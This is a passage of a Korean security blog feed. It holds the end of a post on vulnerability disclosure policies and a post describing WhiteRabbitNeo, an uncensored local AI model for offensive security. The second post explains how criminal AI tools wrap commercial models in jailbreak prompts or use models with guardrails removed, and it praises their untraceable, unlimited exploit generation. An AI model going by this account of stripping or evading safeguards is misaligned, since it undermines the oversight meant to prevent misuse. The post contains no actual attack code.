&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1200&quot; data-origin-height=&quot;640&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQIs6r/dJMcaffVvYa/4L1kFRJBMDVHTklnsKMAok/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQIs6r/dJMcaffVvYa/4L1kFRJBMDVHTklnsKMAok/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQIs6r/dJMcaffVvYa/4L1kFRJBMDVHTklnsKMAok/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQIs6r%2FdJMcaffVvYa%2F4L1kFRJBMDVHTklnsKMAok%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;704&quot; height=&quot;375&quot; data-origin-width=&quot;1200&quot; data-origin-height=&quot;640&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;15&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;15&quot; data-ke-size=&quot;size16&quot;&gt;이러한 폐쇄적인 시스템의 한계를 일찍이 깨달은 곳은 다름 아닌 미국 정부였다. 강의 자료에 따르면, 2016년 미 국방부(DoD)는 미국 정부 산하 기관을 위해 만든 최초의 VDP를 도입하는 파격적인 행보를 보였다. 외부의 해커들을 잠재적 범죄자로 취급하며 쫓아내는 대신, 그들의 집단 지성을 국방 보안에 활용하기로 한 것이다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;15&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;16&quot; data-ke-size=&quot;size16&quot;&gt;이 흐름은 곧 글로벌 표준으로 자리 잡았다. 2020년, 미국 사이버보안 및 인프라 보안국(CISA)은 모든 연방 기관에 VDP를 의무적으로 설립하라는 강력한 지시를 내렸다. CISA와 DOI(미국 내무부) 등은 공식 VDP 템플릿까지 배포하며 적극적으로 정책 확산을 주도하고 있다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;16&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;17&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;17&quot;&gt;&quot;If you see something, say something. (무언가 잘못된 것을 보았다면 말하라)&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;18&quot; data-ke-size=&quot;size16&quot;&gt;이 슬로건처럼, VDP의 본질적 목적은 선의의 보안 연구자들에게 &quot;안심하고 취약점을 찾아내어 우리에게 알려달라, 우리는 절대 당신에게 법적 조치를 취하지 않겠다&quot;는 강력한 안전망을 제공하여 그들을 아군으로 포섭하는 데 있다.&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;19&quot; data-ke-size=&quot;size23&quot;&gt;3. 제대로 된 VDP를 완성하는 5대 핵심 구성 요소&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;948&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgLdzu/dJMcaayUbKE/Jd2fvDNf9JnO6op04TzrDk/img.webp&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgLdzu/dJMcaayUbKE/Jd2fvDNf9JnO6op04TzrDk/img.webp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgLdzu/dJMcaayUbKE/Jd2fvDNf9JnO6op04TzrDk/img.webp&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgLdzu%2FdJMcaayUbKE%2FJd2fvDNf9JnO6op04TzrDk%2Fimg.webp&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;379&quot; height=&quot;377&quot; data-origin-width=&quot;952&quot; data-origin-height=&quot;948&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;20&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;20&quot; data-ke-size=&quot;size16&quot;&gt;그렇다면 좋은 VDP란 무엇일까? 단순히 홈페이지 구석에 제보용 이메일 주소 하나 덜렁 적어놓는다고 VDP가 완성되는 것은 아니다. VDP가 실질적인 효력을 발휘하기 위해 반드시 포함되어야 할 5가지 세부 구성 요소를 다음과 같이 정의했다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;20&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;21&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;21&quot;&gt;① 목적 및 약속 선언 (Purpose)&lt;/b&gt; VDP 문서의 서두를 장식하는 부분으로, 기관이 이 정책을 왜 필요로 하는지 그 철학을 담는다. 기관의 자산을 보호하기 위해 외부 보안 커뮤니티의 기여를 얼마나 소중하게 생각하고 존중하는지를 명확히 선언해야 한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;21&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;22&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;22&quot;&gt;② 범위 (Scope)&lt;/b&gt; 버그헌팅을 수행하는 해커들에게 가장 중요한 '합법의 내비게이션' 역할을 한다. 회사 자산 중 어떤 도메인(예: *.target.com), 어떤 서비스, 어떤 종류의 취약점(예: SQLi, XSS 등)을 찾아도 되는지 범위를 명시한다. 반대로 절대로 건드려서는 안 되는 'Out of Scope(예: 제3자 솔루션, 물리적 보안 테스트, DDoS 공격 등)'를 명확히 선 그어줌으로써, 연구자들이 불필요한 시스템 장애를 일으키지 않도록 가이드라인을 제공한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;22&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;23&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;23&quot;&gt;③ 법적 보호 (Safe Harbor)&lt;/b&gt; VDP의 존재 이유이자 가장 핵심적인 요소다. 연구자가 명시된 VDP 범위와 규칙을 준수하여 취약점을 찾고 제보했다면, 기업은 해당 행위를 승인된 것으로 간주하고 어떠한 민&amp;middot;형사상 법적 조치나 처벌도 요구하지 않겠다는 '면책 특권'을 선언하는 것이다. 이 조항이 확실하게 명시되어 있어야만 연구자들은 안심하고 시스템의 밑바닥까지 파고들 수 있다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;23&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;24&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;24&quot;&gt;④ 프로세스 설명 (Process)&lt;/b&gt; 취약점을 찾아낸 제보자가 어떤 형식으로, 어떤 채널(이메일, 웹폼 등)을 통해 보고서를 제출해야 하는지 절차를 안내한다. 재현 단계(PoC), 영향을 받는 URL, 페이로드 등 제출 시 필수로 포함해야 하는 정보의 양식을 규정함으로써 보안 담당자가 빠르고 정확하게 취약점을 검증할 수 있도록 돕는다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;24&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;25&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;25&quot;&gt;⑤ 보고서 평가 방법 (Evaluation &amp;amp; Feedback)&lt;/b&gt; 자신의 시간과 노력을 들여 제보한 연구자들에게 진행 상황을 투명하게 공유하는 정책이다. 보고서 제출 후 첫 응답까지 소요되는 최대 시간(SLA), 취약점 패치 진행 상황, 그리고 조치가 완료된 후 해당 취약점 세부 내용을 언제부터 블로그나 외부 매체에 공개할 수 있는지에 대한 상호 합의 과정을 담는다. (필요에 따라 포상금(Bounty) 지급이나 명예의 전당(Hall of Fame) 등재에 대한 보상 정책이 함께 포함되기도 한다.)&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;26&quot; data-ke-size=&quot;size23&quot;&gt;4. 보안은 열린 태도에서 시작된다&lt;/h3&gt;
&lt;p data-path-to-node=&quot;27&quot; data-ke-size=&quot;size16&quot;&gt;기술적인 해킹 기법 이전에 보안의 '정책적 토대'가 얼마나 중요한지 깊이 알 수 있다. 현대의 IT 인프라는 너무나 거대하고 복잡해서, 조직 내부의 제한된 인력만으로는 하루가 다르게 쏟아지는 제로데이 취약점들을 모두 막아낼 수 없다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;27&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;28&quot; data-ke-size=&quot;size16&quot;&gt;결국 보안의 완성은 폐쇄가 아니라 개방에 있다. 이웃의 뒷문이 열려있는지 확인해 주고 선뜻 닫아주려는 전 세계의 화이트해커들을 우리 편으로 만들기 위해서는, 기업 스스로 '법적 보호'라는 단단한 방패와 '명확한 소통 창구'를 구축하는 것이 최우선 과제다. 앞으로 모의 해킹과 버그헌팅을 수행함에 있어, 타겟 기업의 VDP 존재 유무와 그 5가지 구성 요소의 중요성을 염두해둘 의미가 있을것이다.&lt;/p&gt;</description>
      <category>Security/Basic</category>
      <author>wogho</author>
      <guid isPermaLink="true">https://noong2.tistory.com/253</guid>
      <comments>https://noong2.tistory.com/253#entry253comment</comments>
      <pubDate>Sun, 14 Jun 2026 07:48:38 +0900</pubDate>
    </item>
    <item>
      <title>WhiteRabbitNeo - 보안의 공격과 방어에 특화된 로컬 AI</title>
      <link>https://noong2.tistory.com/252</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;WhiteRabbitNeo.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xqVjE/dJMcaak7vJA/Nm7aI9PDtqAa7LlaF76wT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xqVjE/dJMcaak7vJA/Nm7aI9PDtqAa7LlaF76wT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xqVjE/dJMcaak7vJA/Nm7aI9PDtqAa7LlaF76wT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxqVjE%2FdJMcaak7vJA%2FNm7aI9PDtqAa7LlaF76wT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;516&quot; height=&quot;516&quot; data-filename=&quot;WhiteRabbitNeo.png&quot; data-origin-width=&quot;1024&quot; data-origin-height=&quot;1024&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-path-to-node=&quot;2&quot; data-ke-size=&quot;size26&quot;&gt;AI 에이전트의 보안 활용&lt;/h2&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;2023년 6월 WormGPT가 등장한 이후, AI 기반의 해킹 도구는 다크웹과 텔레그램을 비롯해 GitHub, Hugging Face 등으로 빠르게 확산되었다. 현재 관련 시장은 유료 구독형 SaaS 모델과 무료 오픈소스 배포가 공존하는 산업 구조로 진화했다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;이러한 도구들의 주요 기능은 피싱 자동화, 악성코드 개발, 타겟 정찰, 브루트포스, 취약점 익스플로잇, 소셜 엔지니어링 등 세분화된 영역으로 분화되었다. 그 결과 시장에는 WormGPT, FraudGPT, EvilGPT, KawaiiGPT, Xanthorox, HexStrike AI, BruteForce AI 등 수많은 공격용 도구가 활발하게 유통되었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;631&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBVDbG/dJMcahdvWtW/PgSKTZ1Ihrt3TCvFL5yiT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBVDbG/dJMcahdvWtW/PgSKTZ1Ihrt3TCvFL5yiT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBVDbG/dJMcahdvWtW/PgSKTZ1Ihrt3TCvFL5yiT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBVDbG%2FdJMcahdvWtW%2FPgSKTZ1Ihrt3TCvFL5yiT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;592&quot; height=&quot;292&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;631&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;이 같은 AI 도구의 등장으로 인해 사이버 공격의 진입장벽이 낮아진 것은 사실이다. 그러나 그 실질적인 영향력은 공격의 전 과정이 아닌 특정 단계에 제한되며, 핵심적인 공격 인프라를 구축하고 운영하는 데에는 여전히 고도의 기술적 전문성이 요구된다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;결국 우리가 직면한 AI 위협의 본질은 최신 모델 자체의 성능에 있는 것이 아니다. 강력한 AI 역량이 아무런 통제 장치 없이 걷잡을 수 없이 확산되는 구조적 한계에 근본적인 위험이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-path-to-node=&quot;1&quot; data-ke-size=&quot;size26&quot;&gt;WhiteRabbitNeo는 무엇인가&lt;/h2&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;기존 다크웹과 텔레그램에서 유통되던 AI 해킹 도구들은 기술적 한계와 치명적인 작전 보안(OpSec) 리스크를 안고 있었다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;시장에 난립한 다수의 도구는 독자적인 AI 모델을 개발한 것이 아니라, Mistral이나 Grok 같은 상용 AI API에 교묘한 탈옥(Jailbreak) 프롬프트를 씌운 단순 래퍼(Wrapper) 구조이거나 Hugging Face의 언센서드(안전장치가 제거된) 모델을 대충 엮어놓은 형태에 불과했다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;이러한 SaaS(서비스형 소프트웨어) 형태의 해킹 도구는 공격자의 활동 내역이 외부 서버에 남는다는 치명적인 약점을 지닌다. 실제로 범죄용 AI의 대명사였던 WormGPT는 사용자 DB가 유출되면서 1만 9천여 명의 이메일, 결제 정보, 구독 기록이 만천하에 공개되는 참사를 겪었다. 흔적을 남기지 않고 은밀하게 타겟을 타격해야 하는 레드팀과 공격자 입장에서는 절대 신뢰할 수 없는 인프라인 셈이다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;이러한 추적과 노출의 위험을 회피하기 위해, 공격 생태계는 오픈소스를 적극적으로 악용하는 방향으로 급선회했다. 일례로 무료로 공개된 AI 해킹 도구 KawaiiGPT는 다크웹이 아닌 GitHub를 통해 버젓이 배포되었으며, 안드로이드 터미널 환경인 Termux까지 지원했다. 이는 스마트폰 한 대만 있으면 언제 어디서든 해킹 스크립트를 생성할 수 있게 되었음을 의미한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;하지만 진정한 위협의 정점은 기기에 직접 설치하여 구동하는 '로컬 언센서드(Uncensored) 모델'의 등장이다. 이 지점에서 &lt;b data-index-in-node=&quot;72&quot; data-path-to-node=&quot;4&quot;&gt;WhiteRabbitNeo&lt;/b&gt;가 레드팀의 핵심 작전 무기로 부상한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://huggingface.co/WhiteRabbitNeo/&quot;&gt;https://huggingface.co/WhiteRabbitNeo/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1779914600184&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;WhiteRabbitNeo (WhiteRabbitNeo)&quot; data-og-description=&quot;Org profile for WhiteRabbitNeo on Hugging Face, the AI community building the future.&quot; data-og-host=&quot;huggingface.co&quot; data-og-source-url=&quot;https://huggingface.co/WhiteRabbitNeo/&quot; data-og-url=&quot;https://huggingface.co/WhiteRabbitNeo&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/2J5Zb/dJMb9kT9ty5/SlMIhBZL3KKFK1CuKUHVcK/img.png?width=1200&amp;amp;height=648&amp;amp;face=0_0_1200_648,https://scrap.kakaocdn.net/dn/S8S4Q/dJMb9kmjbvG/ItoTmnGnf83QbcvVuzd8Kk/img.png?width=1200&amp;amp;height=648&amp;amp;face=0_0_1200_648&quot;&gt;&lt;a href=&quot;https://huggingface.co/WhiteRabbitNeo/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://huggingface.co/WhiteRabbitNeo/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/2J5Zb/dJMb9kT9ty5/SlMIhBZL3KKFK1CuKUHVcK/img.png?width=1200&amp;amp;height=648&amp;amp;face=0_0_1200_648,https://scrap.kakaocdn.net/dn/S8S4Q/dJMb9kmjbvG/ItoTmnGnf83QbcvVuzd8Kk/img.png?width=1200&amp;amp;height=648&amp;amp;face=0_0_1200_648');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;WhiteRabbitNeo (WhiteRabbitNeo)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Org profile for WhiteRabbitNeo on Hugging Face, the AI community building the future.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;huggingface.co&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;WhiteRabbitNeo를 비롯해 Llama 2 Uncensored, Dolphin 시리즈, Wizard-Vicuna Uncensored 같은 모델들은 윤리적 가드레일이 완전히 제거된 상태로 오프라인 로컬 환경에서 실행된다. 외부 API와 통신하지 않기 때문에 공격을 기획하는 프롬프트나 타겟의 취약점 데이터가 외부로 유출될 확률은 상당히 적다. 또한 횟수 제한이나 구독료 같은 비용 부담 없이 무제한으로 익스플로잇 코드를 생성하고 분석할 수 있다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;더욱 치명적인 사실은 Ollama와 같이 로컬에서 AI 모델을 손쉽게 실행해 주는 프레임워크가 대중화되었다는 점이다. 과거에는 로컬 AI를 구축하기 위해 복잡한 환경 설정이 필요했지만, 이제는 Ollama를 통해 명령어 몇 줄만으로 WhiteRabbitNeo 같은 해킹 특화 모델을 즉각적으로 구동할 수 있다. 기술적 진입 장벽마저 붕괴되면서, 레드팀은 완벽한 익명성과 보안이 보장된 강력한 해킹 AI 에이전트를 자신의 랩탑 안에 손쉽게 구축할 수 있게 되었다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;WhiteRabbitNeo가 다루는 주제:&lt;/p&gt;
&lt;pre id=&quot;code_1779914244861&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;- Open Ports: Identifying open ports is crucial as they can be entry points for attackers. Common ports to check include HTTP (80, 443), FTP (21), SSH (22), and SMB (445).
- Outdated Software or Services: Systems running outdated software or services are often vulnerable to exploits. This includes web servers, database servers, and any third-party software.
- Default Credentials: Many systems and services are installed with default usernames and passwords, which are well-known and can be easily exploited.
- Misconfigurations: Incorrectly configured services, permissions, and security settings can introduce vulnerabilities.
- Injection Flaws: SQL injection, command injection, and cross-site scripting (XSS) are common issues in web applications.
- Unencrypted Services: Services that do not use encryption (like HTTP instead of HTTPS) can expose sensitive data.
- Known Software Vulnerabilities: Checking for known vulnerabilities in software using databases like the National Vulnerability Database (NVD) or tools like Nessus or OpenVAS.
- Cross-Site Request Forgery (CSRF): This is where unauthorized commands are transmitted from a user that the web application trusts.
- Insecure Direct Object References: This occurs when an application provides direct access to objects based on user-supplied input.
- Security Misconfigurations in Web Servers/Applications: This includes issues like insecure HTTP headers or verbose error messages that reveal too much information.
- Broken Authentication and Session Management: This can allow attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities.
- Sensitive Data Exposure: Includes vulnerabilities that expose sensitive data, such as credit card numbers, health records, or personal information.
- API Vulnerabilities: In modern web applications, APIs are often used and can have vulnerabilities like insecure endpoints or data leakage.
- Denial of Service (DoS) Vulnerabilities: Identifying services that are vulnerable to DoS attacks, which can make the resource unavailable to legitimate users.
- Buffer Overflows: Common in older software, these vulnerabilities can allow an attacker to crash the system or execute arbitrary code.
- More ..&lt;/code&gt;&lt;/pre&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-path-to-node=&quot;6&quot; data-ke-size=&quot;size26&quot;&gt;WhiteRabbitNeo 사용 후기&lt;/h2&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;현존하는 오픈소스 보안 특화 모델 중 가장 강력한 추론 능력을 가진 'Llama-3.1-WhiteRabbitNeo-2-70B'의 성능을 검증하기 위해 직접 구동 환경을 구축해 보았다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;사실 완벽한 운영 보안(OpSec)을 위해 Mac Studio Ultra나 멀티 GPU 워크스테이션을 이용해 외부와 차단된 '인터넷 에어갭(Air-gap) 로컬 환경'을 구축하는 것이 정석이다. 또한, 클라우드를 쓰더라도 영구 NVMe 스토리지를 지원하는 RunPod이나 Lambda Labs 같은 전용 GPU 인프라를 사용하는 것이 I/O 병목을 줄이는 길이다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;하지만 고가의 장비가 없는 개인 연구자나 비용 효율적인 PoC(개념 검증)를 원하는 환경에서는 하드웨어 장벽이 존재한다. 이에 필자는 &lt;b data-index-in-node=&quot;75&quot; data-path-to-node=&quot;25&quot;&gt;Google Colab A100&lt;/b&gt; 환경을 활용하여 가성비와 접근성을 극대화한 우회적인 테스트 베드를 구축했다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;70B 모델은 양자화(4-bit 등)를 거치더라도 파일 크기가 수십 GB에 달한다. 코랩의 휘발성 세션 문제를 해결하기 위해 &lt;b data-index-in-node=&quot;70&quot; data-path-to-node=&quot;26&quot;&gt;Google Drive를 마운트&lt;/b&gt;하여 모델 가중치(Weights) 파일을 영구 보관하는 방식을 취했다. 클라우드 스토리지 특성상 초기 모델 로딩 시 FUSE 파일 시스템의 I/O 병목으로 인해 구동까지 다소 시간이 소요되는 단점이 있지만, 별도의 장비 구매 비용 없이 고성능 A100 GPU의 연산력을 활용할 수 있다는 점에서 타협할 만한 선택지였다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;2&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;또한, 치명적 단점이라 한다면, Colab은 세션이 종료되면 데이터가 초기화되는 휘발성 환경이다. 매번 세션을 열 때마다 수십 기가바이트(GB)에 달하는 70B 모델의 가중치(Weights) 파일을 새로 다운로드하는 것은 극심한 시간 낭비이자 비효율이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;마지막으로, 사용자의 편의성과 작전 효율성을 극대화하기 위해 터미널 환경이 아닌 &lt;b data-index-in-node=&quot;45&quot; data-path-to-node=&quot;4&quot;&gt;Open WebUI&lt;/b&gt;를 연동했다. 백엔드에서 Colab A100이 연산을 담당하고, 프론트엔드에서는 Open WebUI를 통해 사용자와 소통하는 구조다. Open WebUI는 일반적인 ChatGPT와 유사한 직관적인 채팅 인터페이스를 제공하므로, 방대한 Nmap 스캔 결과를 복사해 붙여넣거나 여러 줄의 익스플로잇 코드를 수정하고 검토하는 과정에서 뛰어난 작업 환경을 제공했다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-path-to-node=&quot;4&quot; data-ke-size=&quot;size26&quot;&gt;결론&lt;/h2&gt;
